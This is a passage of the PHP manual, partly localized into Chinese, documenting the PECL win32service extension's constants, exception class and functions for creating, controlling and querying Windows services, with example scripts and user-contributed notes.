WIN32_ERROR_SERVICE_CANNOT_ACCEPT_CTRL | 0x00000425 | The requested control code cannot be sent to the service because the state of the service is WIN32_SERVICE_STOPPED, WIN32_SERVICE_START_PENDING, or WIN32_SERVICE_STOP_PENDING.
WIN32_ERROR_SERVICE_DATABASE_LOCKED | 0x0000041F | The database is locked.
WIN32_ERROR_SERVICE_DEPENDENCY_DELETED | 0x00000433 | The service depends on a service that does not exist or has been marked for deletion.
WIN32_ERROR_SERVICE_DEPENDENCY_FAIL | 0x0000042C | The service depends on another service that has failed to start.
WIN32_ERROR_SERVICE_DISABLED | 0x00000422 | The service has been disabled.
WIN32_ERROR_SERVICE_DOES_NOT_EXIST | 0x00000424 | The specified service does not exist as an installed service.
WIN32_ERROR_SERVICE_EXISTS | 0x00000431 | The specified service already exists in this database.
WIN32_ERROR_SERVICE_LOGON_FAILED | 0x0000042D | The service did not start due to a logon failure. This error occurs if the service is configured to run under an account that does not have the "Log on as a service" right.
WIN32_ERROR_SERVICE_MARKED_FOR_DELETE | 0x00000430 | The specified service has already been marked for deletion.
WIN32_ERROR_SERVICE_NO_THREAD | 0x0000041E | A thread could not be created for the service.
WIN32_ERROR_SERVICE_NOT_ACTIVE | 0x00000426 | The service has not been started.
WIN32_ERROR_SERVICE_REQUEST_TIMEOUT | 0x0000041D | The process for the service was started, but it did not call StartServiceCtrlDispatcher, or the thread that called StartServiceCtrlDispatcher may be blocked in a control handler function.
WIN32_ERROR_SHUTDOWN_IN_PROGRESS | 0x0000045B | The system is shutting down; this function cannot be called.
WIN32_ERROR_SERVICE_SPECIFIC_ERROR | 0x0000042A | The service has returned a service-specific error code.
WIN32_NO_ERROR | 0x00000000 | No error.

User Contributed Notes

There are no user contributed notes for this page.


Win32 Base Priority Classes

  • ? Win32 Error Codes
  • Win32 Recovery action ?
  • PHP Manual
  • 预定义常量
  • Win32 Base Priority Classes
Win32 Base Priority Classes
Constant | Value | Description
WIN32_ABOVE_NORMAL_PRIORITY_CLASS | 0x00008000 | Process that has priority above WIN32_NORMAL_PRIORITY_CLASS but below WIN32_HIGH_PRIORITY_CLASS.
WIN32_BELOW_NORMAL_PRIORITY_CLASS | 0x00004000 | Process that has priority above WIN32_IDLE_PRIORITY_CLASS but below WIN32_NORMAL_PRIORITY_CLASS.
WIN32_HIGH_PRIORITY_CLASS | 0x00000080 | Process that performs time-critical tasks that must be executed immediately. The threads of the process preempt the threads of normal or idle priority class processes. An example is the Task List, which must respond quickly when called by the user, regardless of the load on the operating system. Use extreme care when using the high-priority class, because a high-priority class application can use nearly all available CPU time.
WIN32_IDLE_PRIORITY_CLASS | 0x00000040 | Process whose threads run only when the system is idle. The threads of the process are preempted by the threads of any process running in a higher priority class. An example is a screen saver. The idle-priority class is inherited by child processes.
WIN32_NORMAL_PRIORITY_CLASS | 0x00000020 | Process with no special scheduling needs.
WIN32_REALTIME_PRIORITY_CLASS | 0x00000100 | Process that has the highest possible priority. The threads of the process preempt the threads of all other processes, including operating system processes performing important tasks. For example, a real-time process that executes for more than a very brief interval can cause disk caches not to flush or cause the mouse to be unresponsive.

User Contributed Notes

There are no user contributed notes for this page.


Win32 Recovery action

  • ? Win32 Base Priority Classes
  • Win32 Service informations ?
  • PHP Manual
  • 预定义常量
  • Win32 Recovery action
Win32 Recovery action
Constant | Value | Description
WIN32_SC_ACTION_NONE | 0x00000000 | No action.
WIN32_SC_ACTION_RESTART | 0x00000001 | Restart the service.
WIN32_SC_ACTION_REBOOT | 0x00000002 | Restart the server.
WIN32_SC_ACTION_RUN_COMMAND | 0x00000003 | Run a command.

User Contributed Notes

There are no user contributed notes for this page.


Win32 Service informations

  • ? Win32 Recovery action
  • Win32ServiceException ?
  • PHP Manual
  • 预定义常量
  • Win32 Service informations
Win32 Service informations
Constant | Value | Description
WIN32_INFO_SERVICE | "service" |
WIN32_INFO_DISPLAY | "display" |
WIN32_INFO_USER | "user" |
WIN32_INFO_PASSWORD | "password" |
WIN32_INFO_PATH | "path" |
WIN32_INFO_PARAMS | "params" |
WIN32_INFO_DESCRIPTION | "description" |
WIN32_INFO_START_TYPE | "start_type" |
INFO_LOAD_ORDER | "load_order" |
INFO_SVC_TYPE | "svc_type" |
INFO_ERROR_CONTROL | "error_control" |
INFO_DELAYED_START | "delayed_start" |
INFO_BASE_PRIORITY | "base_priority" |
INFO_DEPENDENCIES | "dependencies" |
INFO_RECOVERY_DELAY | "recovery_delay" |
INFO_RECOVERY_ACTION_1 | "recovery_action_1" |
INFO_RECOVERY_ACTION_2 | "recovery_action_2" |
INFO_RECOVERY_ACTION_3 | "recovery_action_3" |
INFO_RECOVERY_RESET_PERIOD | "recovery_reset_period" |
INFO_RECOVERY_ENABLED | "recovery_enabled" |
INFO_RECOVERY_REBOOT_MSG | "recovery_reboot_msg" |
INFO_RECOVERY_COMMAND | "recovery_command" |

User Contributed Notes

There are no user contributed notes for this page.


The Win32ServiceException class

(PECL win32service >=1.0.0)

简介

The exception replaces the old mechanism where the error value needed to be compared to constants to detect which error was emitted. The Exception code is equal to the value of the error value and the exception message is based on the corresponding constant name.

类摘要

class Win32ServiceException extends Exception {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


示例

Example #1 Registering a PHP script to run as a service

<?php
win32_create_service(array(
'service' => 'dummyphp', # the name of your service
'display' => 'sample dummy PHP service', # short description
'description' => 'This is a dummy Windows service created using PHP.', # long description
'params' => '"' . __FILE__ . '" run', # path to the script and parameters
));
?>

Example #2 Unregistering a service

<?php
win32_delete_service('dummyphp');
?>

Example #3 Running as a service

<?php
if ($argv[1] == 'run') {
win32_start_service_ctrl_dispatcher('dummyphp');

while (WIN32_SERVICE_CONTROL_STOP != win32_get_last_control_message()) {
# do your work here.
# try not to take up more than 30 seconds before going around the loop
# again
}
}
?>

User Contributed Notes

There are no user contributed notes for this page.


win32service 函数

Table of Contents

  • win32_continue_service — Resumes a paused service
  • win32_create_service — Creates a new service entry in the SCM database
  • win32_delete_service — Deletes a service entry from the SCM database
  • win32_get_last_control_message — Returns the last control message that was sent to this service
  • win32_pause_service — Pauses a service
  • win32_query_service_status — Queries the status of a service
  • win32_send_custom_control — Send a custom control to the service
  • win32_set_service_exit_code — Define or return the exit code for the current running service
  • win32_set_service_exit_mode — Define or return the exit mode for the current running service
  • win32_set_service_status — Update the service status
  • win32_start_service_ctrl_dispatcher — Registers the script with the SCM, so that it can act as the service with the given name
  • win32_start_service — Starts a service
  • win32_stop_service — Stops a service

User Contributed Notes

brian dot ngure at gmail dot com 30-Apr-2010 03:03
An example of how it should be done:

<?php

class TestClass {
    private $args;

    function __construct($arg) {
        $this->args = $arg;
        $this->run();
    }

    private function run() {
        if ($this->args == 'run') {
            win32_start_service_ctrl_dispatcher('test_service');

            while (WIN32_SERVICE_CONTROL_STOP != win32_get_last_control_message()) {
                # do your work here.
                # try not to take up more than 30 seconds before going around the loop
                # again
            }
        }
    }
}

$object = new TestClass($argv[1]);

?>


Resumes a paused service

  • ? win32service 函数
  • win32_create_service ?
  • PHP Manual
  • win32service 函数
  • Resumes a paused service

win32_continue_service

(PECL win32service >=0.1.0)

win32_continue_service — Resumes a paused service

说明

win32_continue_service(string $servicename, string $machine = ?): void

Resumes a paused, named service. Requires administrative privileges or an account with appropriate rights set in the service's ACL.

参数

servicename

The short name of the service.

machine

Optional machine name. If omitted, the local machine is used.

返回值

没有返回值。

Prior to version 1.0.0, 成功时返回 WIN32_NO_ERROR，参数错误时返回 false，或失败时返回一个 Win32 错误码。

错误／异常

A ValueError is thrown if the value of servicename parameter is empty.

A Win32ServiceException is thrown on error.

更新日志

版本 | 说明
PECL win32service 1.0.0 | Throws a ValueError on invalid data in parameters, previously false was returned.
PECL win32service 1.0.0 | Throws a Win32ServiceException on error, previously a Win32 Error Code was returned.
PECL win32service 1.0.0 | The return type is now void, previously it was mixed.
PECL win32service 0.3.0 | This function does not longer require an administrator account if ACL is set for another account.

参见

  • win32_start_service() - Starts a service
  • win32_stop_service() - Stops a service
  • win32_pause_service() - Pauses a service
  • win32_send_custom_control() - Send a custom control to the service
  • Win32 Error Codes

User Contributed Notes

There are no user contributed notes for this page.


Creates a new service entry in the SCM database

  • ? win32_continue_service
  • win32_delete_service ?
  • PHP Manual
  • win32service 函数
  • Creates a new service entry in the SCM database

win32_create_service

(PECL win32service >=0.1.0)

win32_create_service — Creates a new service entry in the SCM database

说明

win32_create_service(array $details, string $machine = ?): void

Attempts to add a service into the SCM database. Administrative privileges are required for this to succeed.

参数

details

An array of service details:

service

The short name of the service. This is the name that you will use to control the service using the net command. The service must be unique (no two services can share the same name), and, ideally, should avoid having spaces in the name.

display

The display name of the service. This is the name that you will see in the Services Applet.

description

The long description of the service. This is the description that you will see in the Services Applet.

user

The name of the user account under which you want the service to run. If omitted, the service will run as the LocalSystem account. If the username is specified, you must also provide a password.

password

The password that corresponds to the user.

path

The full path to the executable module that will be launched when the service is started. If omitted, the path to the current PHP process will be used.

params

Command line parameters to pass to the service when it starts. If you want to run a PHP script as the service, then the first parameter should be the full path to the PHP script that you intend to run. If the script name or path contains spaces, then wrap the full path to the PHP script with ".

load_order

Controls the load_order. This is not yet fully supported.

svc_type

Sets the service type. If omitted, the default value is WIN32_SERVICE_WIN32_OWN_PROCESS. Don't change this unless you know what you're doing.

start_type

Specifies how the service should be started. The default is WIN32_SERVICE_AUTO_START which means the service will be launched when the machine starts up.

error_control

Informs the SCM what it should do when it detects a problem with the service. The default is WIN32_SERVER_ERROR_IGNORE. Changing this value is not yet fully supported.

delayed_start

If delayed_start is set to true, then this will inform the SCM that this service should be started after other auto-start services are started plus a short delay.

Any service can be marked as a delayed auto-start service; however, this setting has no effect unless the service's start_type is WIN32_SERVICE_AUTO_START.

This setting is only applicable on Windows Vista and Windows Server 2008 or greater.

base_priority

To reduce the impact on processor utilisation, it may be necessary to set a base priority lower than normal.

The base_priority can be set to one of the constants define in Win32 Base Priority Classes.

dependencies

To define the dependencies for your service, it may be necessary to set this parameter to the list of the services names in an array.

recovery_delay

This parameter defines the delay between the fail and the execution of recovery action. The value is in milliseconds.

The default value is 60000.

recovery_action_1

The action will be executed on first failure. The default value is WIN32_SC_ACTION_NONE.

The recovery_action_1 can be set to one of the constants defined in Win32 Recovery action.

recovery_action_2

The action will be executed on second failure. The default value is WIN32_SC_ACTION_NONE.

The recovery_action_2 can be set to one of the constants defined in Win32 Recovery action.

recovery_action_3

The action will be executed on next failures. The default value is WIN32_SC_ACTION_NONE.

The recovery_action_3 can be set to one of the constants defined in Win32 Recovery action.

recovery_reset_period

The failure count will be reset after the delay defined in the parameter. The delay is expirement in seconds.

The default value is 86400.

recovery_enabled

Set this parameter at true to enable the recovery settings, false to disable.

The default value is false

recovery_reboot_msg

Set this parameter to define the message saved into the Windows Event Log before the reboot. Used only if one action is set to WIN32_SC_ACTION_REBOOT.

recovery_command

Set this parameter to define the command executed when one action is defined on WIN32_SC_ACTION_RUN_COMMAND.

machine

The optional machine name on which you want to create a service. If omitted, it will use the local machine.

返回值

没有返回值。

Prior to version 1.0.0, 成功时返回 WIN32_NO_ERROR，参数错误时返回 false，或失败时返回一个 Win32 错误码。

错误／异常

A ValueError is thrown if the value of service parameter is empty.

A ValueError is thrown if the value of path parameter is missing or empty.

A ValueError is thrown if the value of svc_type parameter is wrong.

A ValueError is thrown if the value of start_type parameter is wrong.

A ValueError is thrown if the value of error_control parameter is wrong.

A ValueError is thrown if the value of base_priority parameter is wrong.

A ValueError is thrown if the value of recovery_delay parameter is not between 0 and PHP_INT_MAX.

A ValueError is thrown if the value of recovery_action_1 parameter is wrong.

A ValueError is thrown if the value of recovery_action_2 parameter is wrong.

A ValueError is thrown if the value of recovery_action_3 parameter is wrong.

A ValueError is thrown if the value of recovery_reset_period parameter is not between 0 and PHP_INT_MAX.

A Win32ServiceException is thrown on error.

更新日志

版本 | 说明
PECL win32service 1.0.0 | Throws a ValueError on invalid data in parameters, previously false was returned.
PECL win32service 1.0.0 | Throws a Win32ServiceException on error, previously a Win32 Error Code was returned.
PECL win32service 1.0.0 | The return type is now void, previously it was mixed.
PECL win32service 0.4.0 | The dependencies, recovery_delay, recovery_action_1, recovery_action_2, recovery_action_3, recovery_reset_period, recovery_enabled, recovery_reboot_msg and recovery_command parameters have been added.

示例

Example #1 A win32_create_service() example

Create a service with the short name 'dummyphp'.

<?php
$x = win32_create_service(array(
'service' => 'dummyphp', // the name of your service
'display' => 'sample dummy PHP service', // short description
'description' => 'This is a dummy Windows service created using PHP.', // long description
'params' => '"' . __FILE__ . '" run', // path to the script and parameters
));
debug_zval_dump($x);
?>

Example #2 A win32_create_service() example with dependencies

Create a service with the short name 'dummyphp' and dependencies.

<?php
$x = win32_create_service(array(
'service' => 'dummyphp', // the name of your service
'display' => 'sample dummy PHP service', // short description
'description' => 'This is a dummy Windows service created using PHP.', // long description
'params' => '"' . __FILE__ . '" run', // path to the script and parameters
'dependencies' => array("Netman"), // The list of the dependencies
));
debug_zval_dump($x);
?>

Example #3 A win32_create_service() example with recovery

Create a service with the short name 'dummyphp' and recovery settings.

<?php
$x = win32_create_service(array(
'service' => 'dummyphp', // the name of your service
'display' => 'sample dummy PHP service', // short description
'description' => 'This is a dummy Windows service created using PHP.', // long description
'params' => '"' . __FILE__ . '" run', // path to the script and parameters
'recovery_delay' => 120000, // Recovery action is executed after 2 minutes
'recovery_action_1' => WIN32_SC_ACTION_RESTART, // On first failure, restart the service
'recovery_action_2' => WIN32_SC_ACTION_RUN_COMMAND, // On second failure, execute the commmand
'recovery_action_3' => WIN32_SC_ACTION_NONE, // On other failure, do nothing
'recovery_reset_period' => 86400, // Reset the fail counter after 1 day
'recovery_enabled' => true, // Enable the recovery parameter
'recovery_reboot_msg' => null, // Do not define a reboot message, it's not needed here
'recovery_command' => "c:\clean-service.bat", // When the action is WIN32_SC_ACTION_RUN_COMMAND, execute this command
));
debug_zval_dump($x);
?>

参见

  • win32_delete_service() - Deletes a service entry from the SCM database
  • Win32 Base Priority Classes
  • Win32 Recovery action
  • Win32 Error Codes

User Contributed Notes

Anonymous 08-Oct-2010 10:05
[An example of how to create a Windows service.  Evaluate code first and use at your own risk!]

<?php

//No timeouts, Flush Content immediatly
    set_time_limit(0);
    ob_implicit_flush();

//Service Settings
    $phpPath = "D:\\php\\php5.2.9";
    $ServiceName = 'phpServiceName';
    $ServiceDisplay = 'phpDisplayName';

//Windows Service Control
    $ServiceAction = "status";
    //$ServiceAction = "debug";
    if ( isset($_GET['ServiceAction']) and strlen($_GET['ServiceAction']) ) {
        $ServiceAction = addslashes($_GET['ServiceAction']);
    } else if ( isset($argv) and isset($argv[1]) and strlen($argv[1]) ) {
        $ServiceAction = $argv[1];
    }
    if( $ServiceAction == "status" ) {
        $ServiceStatus = win32_query_service_status($ServiceName);
        if ( $ServiceStatus['CurrentState'] == WIN32_SERVICE_STOPPED ) {
            echo "Service Stopped\n\n";
        } else if ( $ServiceStatus['CurrentState'] == WIN32_SERVICE_START_PENDING ) {
            echo "Service Start Pending\n\n";
        } else if ( $ServiceStatus['CurrentState'] == WIN32_SERVICE_STOP_PENDING ) {
            echo "Service Stop Pending\n\n";
        } else if ( $ServiceStatus['CurrentState'] == WIN32_SERVICE_RUNNING ) {
            echo "Service Running\n\n";
        } else if ( $ServiceStatus['CurrentState'] == WIN32_SERVICE_CONTINUE_PENDING ) {
            echo "Service Continue Pending\n\n";
        } else if ( $ServiceStatus['CurrentState'] == WIN32_SERVICE_PAUSE_PENDING ) {
            echo "Service Pause Pending\n\n";
        } else if ( $ServiceStatus['CurrentState'] == WIN32_SERVICE_PAUSED ) {
            echo "Service Paused\n\n";
        } else{
            echo "Service Unknown\n\n";
        }
      exit;
    } else if ( $ServiceAction == "install" ) {
    //Install Windows Service
        win32_create_service( Array(
            'service' => $ServiceName,
            'display' => $ServiceDisplay,
            'params' => __FILE__ . " run",
            'path' => $phpPath."\\php.exe",
        ));
        echo "Service Installed\n\n";
        exit;
    } else if ( $ServiceAction == "uninstall" ) {
    //Remove Windows Service
        win32_delete_service($ServiceName);
        echo "Service Removed\n\n";
        exit;
    } else if( $ServiceAction == "start") {
    //Start Windows Service
      win32_start_service($ServiceName);
      echo "Service Started\n\n";
      exit;
    } else if( $ServiceAction == "stop" ) {
    //Stop Windows Service
      win32_stop_service($ServiceName);
      echo "Service Stopped\n\n";
      exit;
    } else if ( $ServiceAction == "run" ) {
    //Run Windows Service
        win32_start_service_ctrl_dispatcher($ServiceName);
        win32_set_service_status(WIN32_SERVICE_RUNNING);
    } else if ( $ServiceAction == "debug" ) {
    //Debug Windows Service
        set_time_limit(10);
    } else {
        exit();
    }

//Server Loop
    while (1) {
    //Handle Windows Service Request
        usleep(100*1000);
        if ( $ServiceAction == "run" ) {
            switch ( win32_get_last_control_message() ) {
                case WIN32_SERVICE_CONTROL_CONTINUE:
                    break;
                case WIN32_SERVICE_CONTROL_INTERROGATE:
                    win32_set_service_status(WIN32_NO_ERROR);
                break;
                case WIN32_SERVICE_CONTROL_STOP:
                    win32_set_service_status(WIN32_SERVICE_STOPPED);
                    exit;
                default:
                    win32_set_service_status(WIN32_ERROR_CALL_NOT_IMPLEMENTED);
            }
        }
    //User Loop
        sleep(1);
        echo "\n<BR>YOUR CODE HERE";
    }

//Exit
    if ( $ServiceAction == "run" ) {
        win32_set_service_status(WIN32_SERVICE_STOPPED);
    }
    exit();
?>
pauljamesthomson at gmail dot com 22-Jan-2007 04:54
Other start_type values:

0x00000002: A service started automatically by the service control manager during system startup. For more information, see Automatically Starting Services.

0x00000000: A device driver started by the system loader. This value is valid only for driver services.

0x00000003: A service started by the service control manager when a process calls the win32_start_service() function.

0x00000004: A service that cannot be started. Attempts to start the service result in the error code

0x00000001: A device driver started by the IoInitSystem function. This value is valid only for driver services.

I can confirm that 0x00000003 works as expected (service is created, but must be started manually).

More here:

http://msdn2.microsoft.com/en-us/library/ms682450.aspx


Deletes a service entry from the SCM database

  • ? win32_create_service
  • win32_get_last_control_message ?
  • PHP Manual
  • win32service 函数
  • Deletes a service entry from the SCM database

win32_delete_service

(PECL win32service >=0.1.0)

win32_delete_service — Deletes a service entry from the SCM database

说明

win32_delete_service(string $servicename, string $machine = ?): void

Attempts to delete a service from the SCM database. Administrative privileges are required for this to succeed.

This function really just marks the service for deletion. If other processes (such as the Services Applet) are open, then the deletion will be deferred until those applications are closed. If a service is marked for deletion, further attempts to delete it will fail, and attempts to create a new service with that name will also fail.

参数

servicename

The short name of the service.

machine

The optional machine name. If omitted, the local machine will be used.

返回值

没有返回值。

Prior to version 1.0.0, 成功时返回 WIN32_NO_ERROR，参数错误时返回 false，或失败时返回一个 Win32 错误码。

错误／异常

A ValueError is thrown if the value of servicename parameter is empty.

A Win32ServiceException is thrown on error.

更新日志

版本 | 说明
PECL win32service 1.0.0 | Throws a ValueError on invalid data in parameters, previously false was returned.
PECL win32service 1.0.0 | Throws a Win32ServiceException on error, previously a Win32 Error Code was returned.
PECL win32service 1.0.0 | The return type is now void, previously it was mixed.

示例

Example #1 A win32_delete_service() example

Deletes the dummyphp service.

<?php
win32_delete_service('dummyphp');
?>

参见

  • win32_create_service() - Creates a new service entry in the SCM database
  • Win32 Error Codes

User Contributed Notes

There are no user contributed notes for this page.


Returns the last control message that was sent to this service

  • ? win32_delete_service
  • win32_pause_service ?
  • PHP Manual
  • win32service 函数
  • Returns the last control message that was sent to this service

win32_get_last_control_message

(PECL win32service >=0.1.0)

win32_get_last_control_message — Returns the last control message that was sent to this service

说明

win32_get_last_control_message(): int

Returns the control code that was last sent to this service process. When running as a service you should periodically check this to determine if your service needs to stop running.

Caution

Since version 0.2.0, this function work only in "cli" SAPI. On other SAPI this function is disabled.

参数

此函数没有参数。

返回值

Returns a control constant which will be one of the Win32Service Service Control Message Constants: WIN32_SERVICE_CONTROL_CONTINUE, WIN32_SERVICE_CONTROL_DEVICEEVENT, WIN32_SERVICE_CONTROL_HARDWAREPROFILECHANGE, WIN32_SERVICE_CONTROL_INTERROGATE, WIN32_SERVICE_CONTROL_NETBINDADD, WIN32_SERVICE_CONTROL_NETBINDDISABLE, WIN32_SERVICE_CONTROL_NETBINDENABLE, WIN32_SERVICE_CONTROL_NETBINDREMOVE, WIN32_SERVICE_CONTROL_PARAMCHANGE, WIN32_SERVICE_CONTROL_PAUSE, WIN32_SERVICE_CONTROL_POWEREVENT, WIN32_SERVICE_CONTROL_PRESHUTDOWN, WIN32_SERVICE_CONTROL_SESSIONCHANGE, WIN32_SERVICE_CONTROL_SHUTDOWN, WIN32_SERVICE_CONTROL_STOP.

If the value is between 128 and 255, the control code is custom.

错误／异常

Prior to version 1.0.0, if the SAPI is not "cli", this function emits an E_ERROR level error.

As of version 1.0.0, will throw a Win32ServiceException if SAPI is not "cli"

更新日志

版本 | 说明
PECL win32service 1.0.0 | Throws a ValueError on invalid data in parameters, previously false was returned.
PECL win32service 1.0.0 | Throws a Win32ServiceException on error, previously a Win32 Error Code was returned.
PECL win32service 0.2.0 | This function works only in the "cli" SAPI.

参见

  • win32_start_service_ctrl_dispatcher() - Registers the script with the SCM, so that it can act as the service with the given name
  • win32_set_service_status() - Update the service status
  • win32_set_service_exit_mode() - Define or return the exit mode for the current running service
  • win32_set_service_exit_code() - Define or return the exit code for the current running service
  • Win32Service Service Control Message Constants

User Contributed Notes

There are no user contributed notes for this page.


Pauses a service

  • ? win32_get_last_control_message
  • win32_query_service_status ?
  • PHP Manual
  • win32service 函数
  • Pauses a service

win32_pause_service

(PECL win32service >=0.1.0)

win32_pause_service — Pauses a service

说明

win32_pause_service(string $servicename, string $machine = ?): void

Pauses a named service. Requires administrative privileges or an account with appropriate rights set in the service's ACL.

参数

servicename

The short name of the service.

machine

Optional machine name. If omitted, the local machine is used.

返回值

没有返回值。

Prior to version 1.0.0, 成功时返回 WIN32_NO_ERROR，参数错误时返回 false，或失败时返回一个 Win32 错误码。

错误／异常

A ValueError is thrown if the value of servicename parameter is empty.

A Win32ServiceException is thrown on error.

更新日志

版本 | 说明
PECL win32service 1.0.0 | Throws a ValueError on invalid data in parameters, previously false was returned.
PECL win32service 1.0.0 | Throws a Win32ServiceException on error, previously a Win32 Error Code was returned.
PECL win32service 1.0.0 | The return type is now void, previously it was mixed.
PECL win32service 0.3.0 | This function does not longer require an administrator account if ACL is set for another account.

参见

  • win32_start_service() - Starts a service
  • win32_stop_service() - Stops a service
  • win32_continue_service() - Resumes a paused service
  • win32_send_custom_control() - Send a custom control to the service
  • Win32 Error Codes

User Contributed Notes

There are no user contributed notes for this page.


Queries the status of a service

  • ? win32_pause_service
  • win32_send_custom_control ?
  • PHP Manual
  • win32service 函数
  • Queries the status of a service

win32_query_service_status

(PECL win32service >=0.1.0)

win32_query_service_status — Queries the status of a service

说明

win32_query_service_status(string $servicename, string $machine = ?): array

Queries the current status for a service, returning an array of information.

参数

servicename

The short name of the service.

machine

The optional machine name. If omitted, the local machine will be used.

返回值

Returns an array consisting of the following information on success

Prior version 1.0.0，参数错误时返回 false，或失败时返回一个 Win32 错误码。

ServiceType

The dwServiceType. See Win32Service Service Type Bitmasks.

CurrentState

The dwCurrentState. See Win32Service Service Status Constants.

ControlsAccepted

Which service controls are accepted by the service. See Win32Service Service Control Message Accepted Bitmasks.

Win32ExitCode

If the service exited, the return code from the process. This value is equal to WIN32_ERROR_SERVICE_SPECIFIC_ERROR if the exit mode is not gracefuly. See Win32Service error codes and win32_set_service_exit_mode()

ServiceSpecificExitCode

If the service exited with an error condition, the service specific code that is logged in the event log is visible here. This value is equal to the value defined by win32_set_service_exit_code()

CheckPoint

If the service is shutting down, holds the current check point number. This is used by the SCM as a kind of heart-beat to detect a wedged service process. The value of the check point is best interpreted in conjunction with the WaitHint value.

WaitHint

If the service is shutting down it will set WaitHint to a checkpoint value that will indicate 100% completion. This can be used to implement a progress indicator.

ProcessId

The Windows process identifier. If 0, the process is not running.

ServiceFlags

The dwServiceFlags. See Win32Service Service Flag Constants.

错误／异常

A ValueError is thrown if the value of servicename parameter is empty.

更新日志

版本 | 说明
PECL win32service 1.0.0 | Throws a ValueError on invalid data in parameters, previously false was returned.
PECL win32service 1.0.0 | Throws a Win32ServiceException on error, previously a Win32 Error Code was returned.
PECL win32service 1.0.0 | The return type is now array, previously it was mixed.

参见

  • Win32Service Predefined Constants

User Contributed Notes

demers dot alex at gmail dot com 21-Jul-2009 08:39
This function will return an array containing the above information as a return value, but if this fails it will return an integer which is a System Error Code. All the System Error Codes can be found here:

http://msdn.microsoft.com/en-us/library/ms681381%28VS.85%29.aspx

In my case, it returned 5, in which I immediately knew why and fixed the issue right away.

In the case of mnemotronic at netscape dot net, here in the documentation notes, it returned 1060 which is:

ERROR_SERVICE_DOES_NOT_EXIST
1060 (0x424)
The specified service does not exist as an installed service.

Again, it should not return FALSE, instead an System Error Code for Windows.


Send a custom control to the service

  • ? win32_query_service_status
  • win32_set_service_exit_code ?
  • PHP Manual
  • win32service 函数
  • Send a custom control to the service

win32_send_custom_control

(PECL win32service >=0.4.0)

win32_send_custom_control — Send a custom control to the service

说明

win32_send_custom_control(string $servicename, int $control, string $machine = ?): void

See » Microsoft ControlService function for more details

参数

servicename

The short name of the service.

control

The custom contole value between 128 and 255.

machine

Optional machine name. If omitted, the local machine is used.

返回值

没有返回值。

Prior to version 1.0.0, 成功时返回 WIN32_NO_ERROR，参数错误时返回 false，或失败时返回一个 Win32 错误码。

错误／异常

Prior to version 1.0.0, if the control value is not between 128 and 255, this function emits an E_ERROR level error.

A ValueError is thrown if the value of servicename parameter is empty.

A ValueError is thrown if the value of control parameter is not between 128 and 255.

A Win32ServiceException is thrown on error.

更新日志

版本 | 说明
PECL win32service 1.0.0 | Throws a ValueError on invalid data in parameters, previously false was returned.
PECL win32service 1.0.0 | Throws a Win32ServiceException on error, previously a Win32 Error Code was returned.
PECL win32service 1.0.0 | The return type is now void, previously it was mixed.

参见

  • win32_start_service() - Starts a service
  • win32_stop_service() - Stops a service
  • win32_pause_service() - Pauses a service
  • win32_continue_service() - Resumes a paused service
  • Win32 Error Codes

User Contributed Notes

There are no user contributed notes for this page.


Define or return the exit code for the current running service

  • ? win32_send_custom_control
  • win32_set_service_exit_mode ?
  • PHP Manual
  • win32service 函数
  • Define or return the exit code for the current running service

win32_set_service_exit_code

(PECL win32service >=0.4.0)

win32_set_service_exit_code — Define or return the exit code for the current running service

说明

win32_set_service_exit_code(int $exitCode = 1): int

Change or return the exit code. The exit code is used only if the exit mode is not graceful. If the value is not zero, the recovery configuration can be used after service fail. See » Microsoft system error codes for more details

Caution

This function work only in "cli" SAPI. On other SAPI this function is disabled.

参数

exitCode

The return code used on exit.

返回值

Return the current or old exit code.

错误／异常

Prior to version 1.0.0, if the SAPI is not "cli", this function emits an E_ERROR level error.

As of version 1.0.0, will throw a Win32ServiceException if SAPI is not "cli"

更新日志

版本 | 说明
PECL win32service 1.0.0 | Throws a ValueError on invalid data in parameters, previously false was returned.
PECL win32service 1.0.0 | Throws a Win32ServiceException on error, previously a Win32 Error Code was returned.

参见

  • win32_start_service_ctrl_dispatcher() - Registers the script with the SCM, so that it can act as the service with the given name
  • win32_set_service_status() - Update the service status
  • win32_set_service_exit_mode() - Define or return the exit mode for the current running service

User Contributed Notes

There are no user contributed notes for this page.


Define or return the exit mode for the current running service

  • ? win32_set_service_exit_code
  • win32_set_service_status ?
  • PHP Manual
  • win32service 函数
  • Define or return the exit mode for the current running service

win32_set_service_exit_mode

(PECL win32service >=0.4.0)

win32_set_service_exit_mode — Define or return the exit mode for the current running service

说明

win32_set_service_exit_mode(bool $gracefulMode = true): bool

If gracefulMode parameter is provided, the exit mode is changed. When the exit mode is not gracefuly, the exit code used can be set with the win32_set_service_exit_code() function.

Caution

This function work only in "cli" SAPI. On other SAPI this function is disabled.

参数

gracefulMode

true for exit graceful. false for exit with error.

返回值

Return the current or old exit mode.

错误／异常

Prior to version 1.0.0, if the SAPI is not "cli", this function emits an E_ERROR level error.

As of version 1.0.0, will throw a Win32ServiceException if SAPI is not "cli"

更新日志

版本 | 说明
PECL win32service 1.0.0 | Throws a ValueError on invalid data in parameters, previously false was returned.
PECL win32service 1.0.0 | Throws a Win32ServiceException on error, previously a Win32 Error Code was returned.

参见

  • win32_start_service_ctrl_dispatcher() - Registers the script with the SCM, so that it can act as the service with the given name
  • win32_set_service_status() - Update the service status
  • win32_set_service_exit_code() - Define or return the exit code for the current running service

User Contributed Notes

There are no user contributed notes for this page.


Update the service status

  • ? win32_set_service_exit_mode
  • win32_start_service_ctrl_dispatcher ?
  • PHP Manual
  • win32service 函数
  • Update the service status

win32_set_service_status

(PECL win32service >=0.1.0)

win32_set_service_status — Update the service status

说明

win32_set_service_status(int $status, int $checkpoint = 0): void

Informs the SCM of the current status of a running service. This call is only valid for a running service process.

Caution

Since version 0.2.0, this function work only in "cli" SAPI. On other SAPI this function is disabled.

参数

status

The service status code, one of WIN32_SERVICE_RUNNING, WIN32_SERVICE_STOPPED, WIN32_SERVICE_STOP_PENDING, WIN32_SERVICE_START_PENDING, WIN32_SERVICE_CONTINUE_PENDING, WIN32_SERVICE_PAUSE_PENDING, WIN32_SERVICE_PAUSED.

checkpoint

The checkpoint value the service increments periodically to report its progress during a lengthy start, stop, pause, or continue operation. For example, the service should increment this value as it completes each step of its initialization when it is starting up.

